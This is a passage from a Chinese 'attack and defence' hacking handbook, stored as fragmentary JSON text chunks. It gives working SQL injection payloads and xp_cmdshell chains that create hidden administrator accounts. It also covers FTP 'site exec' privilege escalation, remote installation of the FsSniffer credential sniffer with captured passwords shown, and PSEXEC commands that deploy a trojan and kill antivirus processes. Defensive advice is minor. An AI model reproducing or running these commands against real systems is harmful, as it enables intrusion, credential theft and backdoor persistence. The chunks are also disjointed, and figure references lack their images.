    {"text": "需要说 明的是，入侵 MS SQL 数据库与入侵 MS SQL 主机是不同的。 前者是指入侵者远程访问、控制 MS SQL 数据库服务器，对数据库进行添加、修改数据等操作，这是在得到 MS SQL 的管理权限 认证后理所当然能够实现的操作。 而后者指的是入侵提供 MS SQL 服务器的计算机，其结果不只 135 黑客攻防实战详解 是添加、修改数据等操作，而是完全控制该计算机，能够对该计算机的进程、文件、硬件等进行 管理操作。"},
    {"text": "在获得 MS SQL 服务器的管理员账号／密码后，入侵者就已经获得了 MS SQL 服务器的最高 权限，那么他们是如何通过 MS SQL 服务器来控制提供 SQL 服务的主机呢？"},
    {"text": "方法一：使用流光自带的 SQL 工具。 流光这个综合扫描器自带了许多工具，SQL 远程命令工具就是其中之一，如图 3-171 所示， 通过“工具（T）”→“MSSQL 工具”→“SQL 远程命令”或直接使用热键“Ctrl+Q”打开 SQL 远程命令工具。 打开“SQL 远程命令”对话框，键入主机名，用户名及密码，如图 3-172 所示。 图 3-171 图 3-172 然后单击“连接（O）”按钮，如果用户名和密码正确，就会得到 SQL 服务器的命令窗口，如 图 3-173 所示。"},
    {"text": "在得到的任意一个控 制界面中，都可以执行 DOS 命令，而且具有管理员权限。 136 第 3 章 基于认证的入侵 图 3-174 在得到的任意一个 Shell 中，都可以执行 DOS 命令，而且具有管理员权限。"},
    {"text": "键入对方主机的 IP 地址，如图 3-177 所示。 图 3-176 图 3-177 添加主机，如图 3-178 所示。 选择身份认证模式，如图 3-179 所示。 图 3-178 图 3-179 137 黑客攻防实战详解 输入 SQL Server 账户信息，如图 3-180 所示。 选择 SQL Server 组，如图 3-181 所示。 图 3-180 图 3-181 完成注册，如图 3-182 所示。 提示注册成功，如图 3-183 所示。"},
    {"text": "SQLExec 是专门在 SQL 服务器上执行 DOS 命令的工具，体积很小，不用安装。 SQLExec 有 GUI（图形界面）和命令行两种方式，先介绍 SQLExec 的图形界面工具。 打开 SQLExec 图形界面 工具，如图 3-185 所示。 SQLExec 能够通过 NamedPIPE 或者 TCP/IP 两种模式连接 MS SQL 服务器来执行 DOS 命令。 在其中填入相应参数后，选择 TCP/IP 方式，单击“Connect”按钮就可以和远程 SQL 服务器 进行连接了，连接后，使用命令 dir C:\\，如图 3-186 所示，回显的结果就是远程主机 C 盘中的文 件和目录，说明命令执行成功。 图 3-185 图 3-186 方法三：SQLExec 命令行方式。 打开 MS-DOS，进入键入“SQLExec”来查看它的使用方法，如图 3-187 所示。 图 3-187  使用命令：SQLExec <Hostname>。"},
    {"text": "此外，使用命令“SQLExec 192.168.245.137”进行连接的时候并不需要输入用户名和密码， 因为 SQLExec 命令行方式的这个程序中自带了常用口令尝试，相当于弱口令扫描和登录的结合。"},
    {"text": "前面介绍了入侵者在入侵成功后，可能打开远程主机 的 Telnet 服务，可能埋下“Telnet 后门”，可能把远程主机做成跳板，还能在远程主机上种植木马 等。 一般来说，入侵者在入侵成功后会马上建立后门账号，然后通过 Windows 系统中的连接工具 139 黑客攻防实战详解 实现远程控制。"},
    {"text": "在图 3-189 的界面中键入命令“net user aji 123456 /add”建立账号。 使用 net localgroup administrators aji /add 来把刚刚建立的账号“aji”添加到管理员组，即赋予 管理员权限，这样就完成了管理员账号的添加，如图 3-190 所示。"},
    {"text": "3.7.4 利用 SQL 注入攻击 1．SQL 注入攻击的基础知识 （1）什么是 SQL 注入 这种攻击的关键在于将 SQL 的查询／行为命令通过“嵌入”的方式放入合法的 HTTP 提交请 求中从而达到某种攻击目的。"},
    {"text": "现在很多的动态网页都会从该网页使用者的请求中得到某些参数， 然后动态地构成 SQL 语句请求发给 Web 数据库。 举例说明，假设某个用户需要通过网页上的用户 身份验证实现用户登录，动态网页会将该用户提交的用户名与密码合成 SQL 询问请求发给数据库， 用于确认该用户提交的身份验证信息的有效性。"},
    {"text": "从 SQL 注入攻击的角度看来，入侵者们在发送 SQL 140 第 3 章 基于认证的入侵 请求时通过修改用户名与／或密码值的来达到攻击的目的。 （2）如何测试主机是否存在 SQL 注入漏洞 ① 通过输入某些特殊的字符标记，输入如： ' or 1=1-- ② 寻找登录页面，在 ID 与密码输入框或 URL 中输入：  Login: ' or 1=1--  Pass: ' or 1=1--  http://www.xxx.com/index.asp?id=xxx' or 1=1-- 到此为止，如果对方主机的确存在漏洞的话，那么入侵者已经可以不需要账号与密码而实现 成功登录。"},
    {"text": "有的时候，某些 HTML 页面会通过 POST 命令将所需 要的参数传递给其他的 ASP 页面，所以不会在 URL 路径中看到相关的参数。 尽管如此，入侵者 仍然可以通过查看 HTML 的源代码中的“FORM”标签来辨别是否有参数传递，相关的代码如下： <FORM action=Search/search.asp method=post> <input type=hidden name=A value=C> </FORM> 而在<FORM>与</FORM>的标签对间的每一个参数传递都有可能被入侵者利用进行 SQL 注 入攻击。"},
    {"text": "首先，测试对方有没有过滤“ ' ”，在 http://www.XXX.com/read.asp?ID=232&tablenam-e=lilun 链接后面加上“ ' ”，然后回车，看看对方服务器的反应，如图 3-191 所示。"},
    {"text": "或者是输入：http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34 and 1=1 与 http://www. xxxx.com/Product/ViewProduct.asp?PC_ID=34 and 1=2 后分别看看否能正常显示（若 1=1 能正常显 示，而 1=2 不能正常显示，则证明该网站有 SQL 注入漏洞）。 还有一种方法就是直接使用一些 MS SQL Server 的扩展特性来观察一下该网站有否该漏洞， 如图 3-192 所示。"},
    {"text": "图 3-192 如果出现的返回值为： “将 nvarchar 值 'Microsoft SQL Server 2000 - 8.00.760（Intel X86）Dec 17 2002 14：22：05 Copyright（c）1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.0 （Build 2195： Service Pack 4）'转换为数据类型为 int 的列时发生语法错误。"},
    {"text": "入侵方式总结起来主要有三种（这里只是针对 ASP+MS SQL Server）：逃过认证系统、注入查 询得到数据库信息、通过 SQL Server 的扩展存储过程控制主机。 首先介绍如何逃过认证系统：关于它的原理请查阅 isno 写的《SQL Injection 攻击技术》一文。 这种攻击方式是最简单的，它的渗透步骤就是先找到认证的“输入区”，在“输入区”里加入如： '— \"— 又或者 ' or 1=1— \" or 1=1— 142 第 3 章 基于认证的入侵 ' or 'a'='a \" or \"a\"='a 等一系列的字符串就能逃避认证程序的认证，如图 3-193 所示。"},
    {"text": "首先需要得到表名与列名：这里使用的方法是用“having 1=1--”字符串导致系 统弹出数据库错误从而得到表名与列名： 在浏览器中输入地址：http:// www.xxx.com/film.asp?FilmType=24' having 1=1--，得到如图 3-194 所示结果。 图 3-193 图 3-194 可见，得到了表名 film 及列名 ID， 再通过 group by 得到其他的列名： http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34' group by 已知表名.已知列名，已知表 名.已知列名 2 having 1=1--，如图 3-195 所示。"},
    {"text": "图 3-195 最后，介绍如何通过 SQL Server 的扩展存储过程控制主机，其原理是使用 SQL Server 通过的 已经在 SQL Server 上注册好的调用外加 DLL（动态链接库）的 Process（过程）而运行的语句来达 到控制主机的目的。"},
    {"text": "首先检测脚本中没有过滤 SQL 语言的语句结束符“;”，然后利用下面的语句攻击 SQL 主机： http://www.xxxx.com/Product/ViewProduct.asp?PC_ID=34;exec master..xpcmdshell 'ping 127. 0.0.1' ① 添加 SQL 用户： http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addlogin fmzm; ② 设置 SQL 账号 FMZM 的密码为 FMZM： http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_password null，fmzm，fmzm; ③ 提升权限：加 FMZM 进 sysadmin 管理组： http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm; 143 黑客攻防实战详解 ④ 建立一个系统用 FMZM 并设置其密码为 FMZM： http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations：* /times：all /passwordchg：yes /passwordreq：yes /active：yes /add'; （注：/workstations：* /times：all /passwordchg：yes /passwordreq：yes /active：yes，这些参数 是启用账号，并且使密码永不过期的一些相关设置）。 ⑤ 把账号 FMZM 加入到管理员组： http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add'; 到此为止，已经得到了 SQL 管理权限和系统权限。"},
    {"text": "3.7.5 利用 NBSI 软件进行 SQL 注入攻击 1．NBSI 简介 NBSI（NB 联盟 SQL 注入分析器）是由 NB 联盟独立开发的一套高集成性 Web 安全检测系统， 经一年多的更新优化，在 ASP 程序漏洞分析方面已经远远超越于同类产品，特别是对于 SQLServer 的分析，具有极高的准确率及成功率（引自软件自述文件）。"},
    {"text": "在扫描结果中选择一个“可能性极高”的地址填入到注入分析中“注入地址”文本框中，单 击“检测”按钮，就能得到分析结果，如图 3-198 所示。"},
    {"text": "至于脚本运行环境的修改主要是指删除一 些容易被入侵者利用的扩展存储过程，如： xp_cmdshell xp_reg* xp_servicecontrol sp_oa* xp_startmail xp_sendmail sp_makewebtask 还有就是在调用数据库时最好把数据库的 Owner 改为非 sa 用户，这样就可以防止入侵者在得 知 SQL 注入后使用 sp_addextendedproc 进行扩展过程恢复了。"},
    {"text": "不过毕竟能用上这样的硬件设备的人还是不多的，所 以应选取专用软件作为主要的“防御武器”，综合了一下最近的软件安全产品，推荐 eEye 公司的 SecureIIS。"},
    {"text": "146 第 3 章 基于认证的入侵 3.8 利用 FTP 入侵 3.8.1 FTP 简介 1．FTP 简介 FTP（File Transfer Protocol，文件传送协议）是在 Internet 网络上最早用于传输文件的一种通 信协议，它是将本地计算机通过登录注册成为远程主机的客户端，通常将采用该协议传输文件的 程序称为 FTP 软件。 使用 FTP 可以从 Internet 网络上获取远程主机的各类文件信息，包括公用程序、各类应用程 序、情报信息等。"},
    {"text": "在 MS-DOS 下输入 ftp –help 可以得到 FTP 的基本命令，如图 3-200 所示。 图 3-200 FTP 的命令行格式为：ftp -v -d -i -n -g [主机名]，其中-v 显示远程服务器的所有响应信息；"},
    {"text": "10．cd remote-dir：进入远程主机目录。 11．cdup：进入远程主机目录的父目录。 12．chmod mode file-name：将远程主机文件 file-name 的存取方式设置为 mode，如：chmod 777 a.out。"},
    {"text": "29．mdelete[remote-file]：删除远程主机文件。 30．mdir remote-files local-file：与 dir 类似，但可指定多个远程文件，如：mdir *.o.*.zipoutfile。 31．mget remote-files：传输多个远程文件。 32．mkdir dir-name：在远程主机中建一目录。 33．mls remote-file local-file：同 nlist，但可指定多个文件名。 34．mode[modename]：将文件传输方式设置为 modename，默认为 stream 方式。 35．modtime file-name：显示远程主机文件的最后修改时间。 36．mput local-file：将多个文件传输至远程主机。 37．newer file-name：如果远程机中 file-name 的修改时间比本地硬盘同名文件的时间更近， 则重传该文件。 38．nlist[remote-dir][local-file]：显示远程主机目录的文件清单，并存入本地硬盘的 local-file。 39．nmap[inpattern outpattern]：设置文件名映射机制，使得文件传输时，文件中的某些字符 相互转换，如：nmap $1.$2.$3[$1，$2].[$2，$3]，则传输文件 a1.a2.a3 时，文件名变为 a1，a2。"},
    {"text": "148 第 3 章 基于认证的入侵 44．proxy ftp-cmd：在次要控制连接中，执行一条 FTP 命令，该命令允许连接两个 FTP 服务 器，以在两个服务器间传输文件。"},
    {"text": "48．quote arg1，arg2，…：将参数逐字发至远程 FTP 服务器，如 quote syst. 49．recv remote-file[local-file]：同 get。 50．reget remote-file[local-file]：类似于 get，但若 local-file 存在，则从上次传输中断处续传。"},
    {"text": "51．rhelp[cmd-name]：请求获得远程主机的帮助。 52．rstatus[file-name]：若未指定文件名，则显示远程主机的状态， 否则显示文件状态。 53．rename[from][to]：更改远程主机文件名。"},
    {"text": "73．?[cmd]：同 help. 3.8.2 利用 FTP 弱口令入侵 1．扫描 FTP 弱口令 （1）利用扫描器获取 FTP 弱口令 扫描器依然用 X-Scan，当然也可以用其他扫描器，首先在扫描参数中设置“检测范围”，和 “扫描模块-〉FTP 弱口令” 。"},
    {"text": "（2）利用 FsSniffer 嗅探器获取 FTP 弱口令 FsSniffer 简介：FluxShadow FTP/POP3 Sniffer Beta 1 For Windows 2000/XP，不适用于 Windows 9.x/NT 4.0，可以捕捉到本机和基于非交换环境局域网的 POP3/FTP 用户名和密码。"},
    {"text": " 远程使用 例如：得到主机 211.152.188.1 的一个属于管理员组的账号 test：test，首先登录。 D:\\>net use \\\\211.152.188.1\\ipc$ test /user：test The command completed successfully. 将 fssniffer.exe 复制到远程主机（也可以用流光 IV 中提供的工具“种植者”来做这件事情）。 D:\\>copy “d:\\My Documents\\ShadowSniffer\\Release\\FsSniffer.exe”\\\\211.152.188. 1\\ admin$ 1 file（s） copied. 利用流光 IV 中的 NTCMD 启动 FsSniffer.EXE，并将其安装成为服务。 =============Windows NT/2000 NTCmd Ver 0.1 for Fluxay IV============ Written by Assassin， http://www.netXeyes.com http://www.netXeyes.org NTCMD>ver Microsoft Windows 2000 [Version 5.00.2195] NTCMD>fssniffer.exe -I test test ShadowSniffer 211.152.188.1 7 123456 Flux Shadow Sniffer（FTP/POP3） Edition， Written by Assassin 2001 TestSniffer1 installed. NTCMD> 这样在远程主机上面安装了一个服务 ShadowSniffer。 用 net 命令启动服务： NTCMD>net start shadowsniffer The ShadowSniffer service is starting.. The ShadowSniffer service was started successfully. 安装成为服务的格式： FsSniffer -I <Username> <Password> <Service Name> <Bind Local IP> <Port> <Control Password> UserName：远程主机的用户名（必须具有超级用户权限） 。"},
    {"text": "D:>telnet 211.152.188.1 7 Control Password： ************** ==============Banyet Soft Labs. 1995-2001 All Rights Reserved.============== ========Written by Assassin， Server Edition FluxShadow@21cn.com========= ====FluxShadow Remote FTP/POP3 Sniffer Beta 1， Pleased to See You Again!====== Flux Shadow Sniffer>show result ===========Flux Shadow Sniffer Edition Results=========== 211.152.188.112（1106）->211.152.188.1（8213） USER zjf 211.152.188.112（1106）->211.152.188.1（8213） PASS 1qaz4rfv 151 黑客攻防实战详解 211.152.188.1（8213）->211.152.188.112（1106） User zjf logged in. 211.152.188.1（8199）->211.152.188.112（1107） USER zjf 211.152.188.1（8199）->211.152.188.112（1107） PASS 1qaz4rfv Total 10 Sniffered ====================================================== Flux Shadow Sniffer>quit  其他 FsSniffer -L：列出当前主机安装的服务。"},
    {"text": "为了熟悉一下上节学习过的 FTP 命令，下 面采用 MS-DOS 的方式连接主机，当然用 CuteFTP 等软件更为直观，但是这种方式较为简单这里 就不介绍了，读者可以自己尝试。 首先，在 MS-DOS 下输入 ftp 192.168.0.211，输入用户名和密码 user/123，系统提示连接成功， 如图 3-204 所示。"},
    {"text": "图 3-204 然后，用 pwd 命令看一下当前目录名，如图 3-205 显示“/ C:”is current directory，看到这个 信息大致可以断定 user 用户为系统用户。 图 3-205 继续使用 dir 命令，证实一下猜测是否正确，如图 3-206 所示，看到了很多熟悉的目录名，证 实了猜测并没有错。"},
    {"text": "如果要上传下载，这一步很重要，不先执行这个命令，上传 下载会很慢，如图 3-209 所示。 图 3-209 输入命令!dir，查看本地文件夹中的文件及目录，如图 3-210 所示。"},
    {"text": "图 3-213 输入命令 cd ..，返回上级目录，如图 3-214 所示。 图 3-214 输入命令 rmdir temp，删除 temp 目录，如图 3-215 所示。 图 3-215 输入命令 bye，退出，如图 3-216 所示。"},
    {"text": "虽说匿名 FTP 本身 并不是个漏洞， 因为匿名区域里放置有/etc/passwd 和/etc/group 文件，往往可能因为管理员配置上的大意造成潜在 的安全隐患。 使用匿名的 FTP，用户可以匿名登录 FTP 服务器。"},
    {"text": "登录时需要用户提供完整的 E-mail 地址作 为 passwd，其实在很多站点上这个要求形同虚设，只要在其中包含有@字节看起来像个 E-mail 地 址就行了，主机不会对口令做任何校验的。"},
    {"text": "首先选择文件-〉高级扫描向导，如图 3-221 所示。 将检测项目设置为 FTP，如图 3-222 所示。 图 3-221 图 3-222 勾选“尝试猜解用户”，如图 3-223 所示。 选择“猜解用户名字典”和“猜解密码字典”，如图 3-224 所示。 图 3-223 图 3-224 选择主机，单击“开始”按钮，如图 3-225 所示。"},
    {"text": "提供 FTP 服务的主机在处理匿名用户的命令时，一般都会执行一个 chroot 命令让匿名者进入 主机所允许的匿名 FTP 区域。 然而为了支持匿名 FTP 和用户 FTP，FTP 服务器要访问所有文件， 也就证明了 FTP 服务器不是总在 chroot 环境中运行的。 这个环节会让一些愚蠢的管理员不知所为 156 第 3 章 基于认证的入侵 而未曾理会，很容易被别有用心者所利用而得到一个匿名 FTP 用户所不能得到的权限。"},
    {"text": "图 3-228 步骤 3 执行添加用户命令 quote site exec net.exe user ftpuser ftpuser_pwd /add，如图 3-229 所 示。 图 3-229 步骤 4 提升权限 quote site exec net.exe localhost administrators ftpuser /add，如图 3-230 所示。"},
    {"text": "至于软件推荐使用 SlimFTP，首先它身材小巧，而且不需要安装，在 console 下就可以运 行，绝对不会弹出窗口，提供了标准的上传、下载功能，而且可以更改服务端口、设置用户权限 等。"},
    {"text": "1．安装步骤 安装步骤分为本地设置和服务器设置。 ① 本地设置：运行 C:\\slimftp\\adminftp.exe。 运行窗口分成三部分，最上面是服务器的参数的 设置，左下方是用户账号的设置，右下方是访问目录的设置，如图 3-232 所示。 图 3-232 首先，对于服务器参数的设置，只需要对 server port（服务器端口）进行一下设置就可以了， 因为服务器上通常还运行有 FTP 服务器，所以需要修改为一个不一样的端口，这里设置成 6666， 另外两个参数保持默认值。"},
    {"text": "单击“new”按钮，输入一个用户名 user，再选 中这个用户，输入一个密码 123。 最后，在 local root 中输入路径 C:\\，作为 test 用户的根目录，单 击“new”按钮，在弹出的窗口上输入“／”就可以了，再将下面的 4 个权限全部勾选。"},
    {"text": "参数说明： Read 权限允许用户下载文件，Write 权限允许用户上传文件，List 权限允许用户看目录列表，Admin 权限允许用户重命令和删除 FTP 服务器上的文件。"},
    {"text": "158 第 3 章 基于认证的入侵 图 3-233 图 3-234 图 3-235 图 3-236 ② 远程操作：将 slimftp2.exe 上传到肉鸡上，然后将 slimftp2.exe 拷贝到肉鸡的系统目录（通 常为 C:\\winnt\\System32）中。"},
    {"text": "2．访问 FTP 服务器的方式 （1）通过 IE 浏览器 在浏览器中输入：ftp://192.168.0.211:6666/，如图 3-237 所示。 图 3-237 （2）命令行方式 在命令行下，输入命令 open 192.168.0.211 6666，如图 3-238 所示。 图 3-238 159 黑客攻防实战详解 （3）通过 FlashFXP 软件，参数设置如图 3-239 所示 图 3-239 3.8.6 安全解决方案 一般解决 FTP 匿名入侵问题可以通过修改 inetd 的配置来替代直接启动 FTP 服务器，它执行 chroot（类似于 chrootuid 的程序） ，然后再启动服务器就可以了。 一般情况下，FTP 只限于在匿名用户下访问，匿名用户有其正常的权限，在启动服务器前执 行 chroot 就意味着匿名用户将受到限制（注意：很多 FTP 服务器在其建立匿名 FTP 系统中只单纯 地依照 FTP 服务器的销售说明书中所讲述的来做，而往往这些销售说明书中一般都不会谈到漏洞 和堵塞漏洞的方法，这个大意是绝对致命的）。 如果说一个匿名用户在 FTP 服务器的匿名区域获得了一份不应该是匿名用户获得的文件，那 么就说明了可能有内部用户将这个文件放置在匿名的 FTP 区域了。"},
    {"text": "本节从一款工具软件 PSEXEC 入手，来 介绍入侵者实现远程执行命令的另一种方法及常用的进程查、杀技术。 3.8.1 远程执行命令 1．工具 PSEXEC ① 该工具为远程执行命令软件。 在本地机上使用 PSEXEC 即可在远程主机上执行命令。 ② 使用方法：psexec \\\\computer [-u user [-p psswd]][-s][-i][-c [-f]][-d] cmd [arguments] -u 登录远程主机的用户名 -p 登录远程主机的密码 -i 与远程主机交互执行 -c 拷贝本地文件到远程主机系统目录并执行 -f 拷贝本地文件到远程主机系统目录并执行，如果远程主机上已经存在该文件，则覆盖 -d 不等待程序结束 ③ 说明：如果命令或程序含有空格，那么需要将其用双引号扩起来，如： psexec \\\\marklap \" C:\\hack app.exe\"。"},
    {"text": "在 MS-DOS 中键入命令“psexec \\\\192.168.245. 160 第 3 章 基于认证的入侵 128 -u administrator –p \" \" cmd”便可在本地机上打开远程主机 192.168.245.128 上的命令行 Shell， 在该命令行 Shell 中键入的命令会在远程主机上直接执行，也就是实现了与 Telnet 登录等同的功能， 如图 3-240 所示。"},
    {"text": "比如要建立一个用户名为 abc，密码为 abc 的账号， 只需要在本地机的 MS-DOS 中键入命令“psexec \\\\192.168.245.128 -u administrator –p \" \" net user abc abc /add”来实现。"},
    {"text": "3．实例二 通过 PSEXEC，入侵者还可以把本地木马程序拷贝到远程主机执行。 在 MS-DOS 中键入命令 “psexec \\\\192.168.245.128 -u administrator -p” “-d -c C:\\wollf.exe”，如图 3-241 所示便可将本地 C 盘 中的 wollf.exe 木马程序拷贝到远程主机 192.168.245.128 上并自动执行，其中参数“-d”表示执行 完毕后马上结束 PSEXEC 进程。 图 3-241 如果 wollf.exe 已经存在于远程主机的目录中，则需要使用命令“psexec \\\\192.168. 245.128 -u administrator -p \" \" -d -c -f C:\\wollf.exe”来覆盖已经存在的同名文件。"},
    {"text": "另外，PSEXEC 工具中的参数“-i”表示本地机与远程主机进行交互式执行，即在本地 执行命令的同时，远程主机同样会看见这个命令的执行，该参数不常使用。"},
    {"text": "其中工具“PSEXEC”用来远程执行命令，工具 161 黑客攻防实战详解 “AproMan”用来查看进程、端口与进程的关联关系，并杀死指定进程，还可以把进程和模块列表 导出到文本文件中。"},
    {"text": "AProMan.exe –p：显示端口进程关联关系（需 Administrator 权限） 。 AProMan.exe -t [PID]：杀掉指定进程号的进程。 AProMan.exe -f [FileName]：把进程及模块信息存入文件。"},
    {"text": "步骤 1 上传 AproMan.exe。 首先把 AproMan.exe 拷贝到本地机 C 盘下，然后在 MS-DOS 中键入命令“psexec \\\\192.168.245. 128 -u administrator -p \" \" -d -c C:\\aproman” ，如图 3-242 所示。"},
    {"text": "前面已经介绍过，通过 PSEXEC 工具可以在本地执行远程命令，并得到执行结果的回显。 因 此 ， 这 里 通 过 PSEXEC 来 执 行 远 程 主 机 中 的 AproMan.exe 。 在 MS-DOS 中 键 入 “ psexec \\\\192.168.245.128 -u administrator -p \" \" aproman –a”命令后，在本地机中便会获得远程主机中的进 程列表，如图 3-243 所示。"},
    {"text": "比如要杀死远程主机中金山毒霸防火墙的进程“Watcher.exe”。 首先在进 程列表中查出金山毒霸防火墙进程的 PID 为 556，然后键入命令“psexec \\\\192.168.245.128 -u administrator -p \" \" -d aproman -t 556”杀掉进程，如图 3-244 所示。 图 3-244 除了通过工具“PSEXEC”与“AproMan”来实现查、杀进程外，还可以通过工具“pslist.exe” 与“pskill.exe”来实现。 其中“pslist.exe”是命令行方式下远程查看进程的工具，“pskill.exe”是 命令行方式下远程杀进程的工具。 通过这两款工具实现查、杀进程，并不用把任何程序拷贝到远 程主机内部，pslist.exe 和 pskill.exe 可在本地对远程主机的进程进行操作。 其中“pslist.exe”使用 方法如下： pslist [-t] [-m] [-x] [\\\\computer [-u username] [-p password] [name|pid] -t 显示线程 -m 显示内存细节 -x 显示进程、内存和线程 \\\\computer 远程主机 IP -u 用户名 -p 密码 name 列出指定用户的进程 pid 显示指定 PID 的进程信息 pskill.exe 使用方法如图 3-245 所示。 图 3-245 参数：pskill [\\\\远程主机[-u 用户名]] <进程号或进程名> 仍然以杀死杀毒防火墙为例，在本地 MS-DOS 中键入“pskill \\\\192.168.245.128 -u administrator watcher.exe”命令，如图 3-246 所示。 可以看出，这两个工具可以在本地机上杀死远程主机进程，功能比较强大。 此外，再介绍一 款能够杀死 TCP 连接的工具 KillTCP，它能够列出本地活动连接、杀死指定连接、列出 TCP 监听 163 黑客攻防实战详解 端口，不过这款工具需要拷贝到远程主机上使用，具体参数如下。 Killtcp –l 列出本地活动连接 Killtcp –k 杀死指定连接 Killtcp –a 列出 TCP 监听端口 图 3-246 3.9.3 远程执行命令方法汇总 前面介绍了三种方法来远程执行命令，如下：  通过建立计划任务执行  通过 Telnet 执行  通过 PSEXEC 程序执行 下面对这三种方法进行分析。 1．计划任务方式 通过这种方式远程执行命令，需要入侵者掌握远程主机的管理员账号和密码，能够建立 IPC$连 接，并开放计划任务服务。"},
    {"text": "这三种方式都需要入侵者掌握远程主机的管理员账号和密码，然而并不是只要入侵者掌握管 理员账号和密码就可以远程执行命令，这还需要一些其他条件。"},
    {"text": "从这些条件上来比较来看，PSEXEC 所需条件和计划任务基本上是一样的，但 PSEXEC 实现起来却简单得多。 如果通过计划任务的方 式能够完成，那么通过 PSEXEC 也能完成。"},
    {"text": "答：成功杀死远程主机进程需要以下条件： 164 第 3 章 基于认证的入侵 （1）远程主机管理员账号和密码 （2）不是系统关键进程、服务进程 其中系统关键进程是指维持系统正常运行的进程，如果这些进程被意外结束，那么系统也会 死掉。"},
    {"text": "165 第 4 章 基于服务器软件漏洞的入侵 随着计算机应用的进一步普及和计算机网络的高速发展，越来越多的公司或个人使用各种服 务器软件架设自己的网络服务。"},
    {"text": "这些服务器软件漏洞轻则可能导致服务器的信息被窃取，重则可能导致服务器被远程控制。 因此，了解这些服务器软件的漏洞是十分重要与紧迫的。 本章将介绍如下 4 种服务器软件的常见漏洞，希望以此引起相关服务器管理员的对自身系统 漏洞的重视。"},
    {"text": " IIS 漏洞带来的入侵  论坛系统带来的入侵  Blog 系统带来的入侵  Serv-U 带来的入侵 4.1 IIS 漏洞（一） 4.1.1 IIS 基础知识 1．关于 IIS 服务器 IIS 为 Internet Information Server 的缩写，即 Internet 信息服务器。"},
    {"text": "通过 IIS，Windows 系统的用户 可以方便地提供 Web 服务、FTP 服务、SMTP 服务等，如图 4-1 所示。 装有 IIS 的计算机，可以在计算机管理中看到如图 4-2 所示的树状目录。 图 4-1 图 4-2 2．IIS 漏洞 IIS 服务器在方便用户使用的同时，也带来了许多安全隐患。 据说 IIS 的漏洞有近千种，在众 多的漏洞中能导致远程入侵的也不计其数。"},
    {"text": "从漏洞重要性的角度出发，IIS 本身主要有以下 5 种漏洞。 第 4 章 基于服务器软件漏洞的入侵 在这 5 种漏洞中，只要 IIS 服务器存在其中的任意一种，都可导致被入侵。  .ida&.idq 漏洞  Printer 漏洞  Unicode 漏洞  .asp 映射分块编码漏洞  Webdav 漏洞 此外，如果对 IIS 进行扩展则有可能出现新的漏洞，在 IIS 漏洞（二）一节中将介绍两个由于 IIS 扩展引发的漏洞。  Windows Media 服务 nsiislog.dll 远程缓冲区溢出漏洞  Microsoft FrontPage Server Extensions 远程缓冲区溢出漏洞 3．搜集 IIS 信息 入侵者在入侵远程 IIS 服务器之前，会使用很多手段来搜集一些关键信息。"},
    {"text": "比如通过 Telnet 方式进行 IIS 服务器的信息搜集。  使用命令“telnet targetIP 80”搜集 Web 服务器版本信息。  提示：在“telnet targetIP 80”命令后需要再敲两次回车才能得到如图 4-3 所示的信息。 图 4-3  使用命令“telnet targetIP 21”搜集 FTP 服务器版本信息，如图 4-4 所示。 图 4-4 除了通过 Telnet 方式，入侵者还会使用专门的扫描器对远程 IIS 服务器的信息进行搜集。"},
    {"text": "4.1.2 .ida&.idq 漏洞 1．漏洞描述（引自安全焦点 http://www.xfocus.net） IIS 的 index server .ida/.idq ISAPI 扩展存在远程缓冲溢出漏洞  发布时间：2001-06-20  更新时间：2001-06-20  受影响系统 167 黑客攻防实战详解 Microsoft IIS 4.0  Microsoft Windows NT 4.0 SP6a  Microsoft Windows NT 4.0 SP6  Microsoft Windows NT 4.0 SP5  Microsoft Windows NT 4.0 SP4  Microsoft Windows NT 4.0 SP3  Microsoft Windows NT 4.0 SP2  Microsoft Windows NT 4.0 SP1  Microsoft Windows NT 4.0 Microsoft IIS 5.0  Microsoft Windows 2000 Server SP2  Microsoft Windows 2000 Server SP1  Microsoft Windows 2000 Server  Microsoft Windows 2000 Professional SP2  Microsoft Windows 2000 Professional SP1  Microsoft Windows 2000 Professional  Microsoft Windows 2000 Datacenter Server SP2  Microsoft Windows 2000 Datacenter Server SP1  Microsoft Windows 2000 Datacenter Server  Microsoft Windows 2000 Advanced Server SP2  Microsoft Windows 2000 Advanced Server SP1  Microsoft Windows 2000 Advanced Server  详细描述 <*IIS 4.0/5.0 Index Server and Indexing Service ISAPI Extension Buffer Overflow *> <keyword: ISAPI Extension Buffer Overflow> 微软的 Index Server 可以加快 Web 的搜索能力，提供对管理员脚本和 Internet 数据的查询，默 认支持管理脚本.ida 和查询脚本.idq，不过都是使用 idq.dll 来进行解析的。"},
    {"text": "但是存在一个缓冲溢出， 其中问题存在于 idq.dll 扩展程序上，由于没有对用户提交的输入参数据进行边界检查，可以导致 远程攻击者利用溢出获得 System 权限来访问远程系统。"},
    {"text": "2．漏洞检测 下 面 分 别 从 手 工 和 工 具 检 测 两 种 方 法 来 介 绍 入 侵 者 如 何 得 知 远 程 服 务 器 中 的 IIS 存 在.ida&.idq 漏洞。 （1）手工检测 在客户端 IE 的地址栏中输入“http://targetIP/*.ida”或“http://targetIP/*.idq”，其中 targetIP 为 远程服务器的 IP 地址或域名。 填入地址，回车确认后，如果返回类似图 4-5 中“找不到**文件” 的信息，就说明远程服务器中的 IIS 服务器存在.ida&.idq 漏洞。 （2）工具检测 很多扫描器都可以检测出远程服务器中 IIS 的.ida&.idq 漏洞。"},
    {"text": "如果得到图 4-7 所示的 扫描结果：“可能存在‘IIS Index Server ISAPI 扩展远程溢出’漏洞（/NULL.ida）”或“可能存在 ‘IIS Index Server ISAPI 扩展远程溢出’漏洞（/NULL.idq）”，则说明远程服务器可能存在.ida&.idq 漏洞。"},
